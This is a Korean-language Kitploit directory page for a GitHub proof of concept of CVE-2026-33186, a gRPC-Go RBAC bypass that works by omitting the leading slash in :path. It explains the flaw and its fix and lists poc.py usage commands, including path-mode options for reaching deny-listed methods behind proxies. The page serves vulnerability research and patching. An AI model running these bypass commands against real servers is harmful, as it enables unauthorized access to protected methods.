Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-33186 — gRPC-Go RBAC 권한 부여 정책 우회 (`:path` 슬래시 누락으로 인한) (인증 우회) | Kitploit
도구/GitHubGitHub/johanneslks/cve-2026-33186
Authentication & AuthorizationExploitationWeb Application ExploitationPenetration TestingLearning & EducationAPI Security
GitHubjohanneslks/cve-2026-33186

CVE-2026-33186

gRPC-Go RBAC 권한 부여 정책 우회 (`:path` 슬래시 누락으로 인한) (인증 우회)

저장소 보기
11개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-33186

gRPC-Go RBAC 권한 부여 정책 우회 (:path 슬래시 누락으로 인한 인증 우회)

설명

google.golang.org/grpc의 authz 패키지는 SDK 수준 RBAC 권한 부여를 구현하며, :path 유사 헤더에 대해 거부 및 허용 규칙을 매칭합니다. HTTP/2 서버 전송 계층은 클라이언트로부터 원시 :path 값을 /로 시작하는지 검증 없이 저장합니다. 라우팅 계층(handleStream)은 디스패치 전에 경로를 정규화하지만, RBAC 엔진은 grpc.Method(ctx)를 통해 컨텍스트에서 정규화되지 않은 값을 읽습니다.

거부 규칙은 /Service/Method(선행 슬래시 포함) 형식으로 작성됩니다. :path = "Service/Method"(슬래시 없음)를 보내면 거부 규칙이 첫 글자 비교에서 실패합니다. 기본 허용 규칙이 적용되어 보호된 메서드가 실행됩니다.

authz.NewStatic() 또는 authz.NewFileWatcher()를 사용하여 거부 규칙을 설정한 모든 gRPC 서버가 취약합니다. 원시 HTTP/2 클라이언트(Python h2, curl --http2 또는 사용자 정의 프레임 작성기)만 있으면 충분히 익스플로잇할 수 있으며, 자격 증명이나 사전 상태가 필요하지 않습니다.

grpc-go v1.71.0에 대한 실시간 검증에서, 선행 슬래시를 생략한 경우 거부 목록에 있는 AdminMethod에 대해 gRPC 상태 0(OK)이 반환된 반면, 표준 슬래시를 사용한 동일 호출은 상태 7(PermissionDenied)을 반환했습니다.

영향: google.golang.org/grpc < v1.79.3. v1.79.3에서 수정됨(PR #8981).

사용법

root@kitploit:~
# Install the Python HTTP/2 dependency:
pip install h2

# Against an existing vulnerable gRPC server:
python3 poc.py --host <HOST> --port <PORT>
python3 poc.py --host <HOST> --port <PORT> --service MyService --method SecretMethod

# When TCP destination and HTTP/2 authority differ:
python3 poc.py --host <VHOST> --connect-host <IP> --port 80 \
  --service MyService --method SecretMethod

# Canonical upstream malformed path:
python3 poc.py --host <HOST> --port <PORT> --path-mode no-slash

# Reverse-proxy deployments that preserve a double slash before grpc_pass:
python3 poc.py --host <VHOST> --connect-host <IP> --port 80 \
  --path-mode double-slash --service MyService --method SecretMethod

# Literal :path value when you already know the backend path shape:
python3 poc.py --host <VHOST> --connect-host <IP> --path-mode custom \
  --attack-path '//MyService/SecretMethod'

# Save a decoded successful attack response for follow-on manual use:
python3 poc.py --host <HOST> --port <PORT> --output-response /tmp/grpc-response.txt

--host는 --authority가 설정되지 않은 경우 HTTP/2 :authority 호스트를 제어합니다. --connect-host는 TCP 대상을 제어합니다. 이는 도달 가능한 IP가 라우팅된 백엔드 권한과 다른 가상 호스트 또는 리버스 프록시 설정에서 유용합니다.

표준 grpc-go 문제는 --path-mode no-slash입니다. double-slash와 custom은 프록시가 다른 형태의 비정상 경로를 취약한 백엔드로 전달하는 환경을 위한 일반적인 도우미입니다.

요구 사항

  • 공격자: Python 3.8+, h2 (pip install h2)
  • 대상: authz 패키지를 사용하여 거부 규칙을 설정한 gRPC-Go 서버

파일

파일설명
poc.pyPython PoC -- 3개의 원시 HTTP/2 호출(기준/공격/제어)을 전송하여 우회를 입증
README.md취약점 세부 정보, 사용 예제 및 참고 자료
LICENSEGPLv3 라이선스

참고 자료

  • https://github.com/grpc/grpc-go/security/advisories/GHSA-p77j-4mvh-x3m3
  • https://github.com/grpc/grpc-go/pull/8981

법적 고지

이 프로젝트는 GNU GPLv3에 따라 배포됩니다.

방어적 보안 연구, 교육 및 승인된 테스트 목적으로 제공됩니다. 소유자의 명시적 허가 없이 이 코드를 시스템이나 서비스에 사용하지 마십시오.

허가되지 않은 사용은 관련 법률을 위반할 수 있습니다. 저자는 제3자 시스템을 테스트할 권한을 부여하지 않으며, 오용에 대해 책임을 지지 않습니다.

보증 및 책임 조건은 LICENSE 파일을 참조하십시오.

도구 다운로드